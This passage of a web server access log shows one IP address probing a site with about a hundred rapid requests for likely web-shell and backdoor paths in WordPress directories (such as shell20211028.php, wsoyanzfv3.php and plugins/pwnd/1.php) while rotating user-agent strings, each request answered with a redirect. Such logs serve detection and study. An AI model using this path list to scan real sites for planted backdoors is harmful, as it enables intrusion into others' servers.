"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:38 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:38 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:38 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:39 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:39 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:39 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:40 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:41 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:29:41 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:29:41 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:42 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:42 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:42 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:43 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:43 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:43 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:43 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:44 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:44 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:44 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:29:44 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:29:45 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:29:45 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:45 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:45 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:46 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:46 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:46 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:46 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:47 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:29:47 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:47 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:48 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:29:48 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:48 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:48 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:49 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:49 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:49 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:29:49 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:49 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:50 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:29:50 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:50 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:50 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:51 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:51 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:51 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:29:51 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:29:52 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:52 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:52 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:52 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:53 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:53 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:53 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:54 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:54 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:56 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:56 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:56 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:56 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:29:57 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:57 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:29:57 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:58 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:58 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:58 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:59 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:59 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:59 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:59 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:30:00 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:00 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:01 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:01 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:01 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:01 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:03 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:03 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:30:05 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:06 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:07 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:09 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:30:10 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:11 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:30:13 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:13 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:30:14 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:15 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:16 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:17 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:17 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:18 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:18 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:19 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:20 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:21 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:21 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:22 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:22 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:24 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:24 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:30:25 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:25 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:26 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:27 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:27 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:28 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:28 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:30:29 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:29 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:29 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - 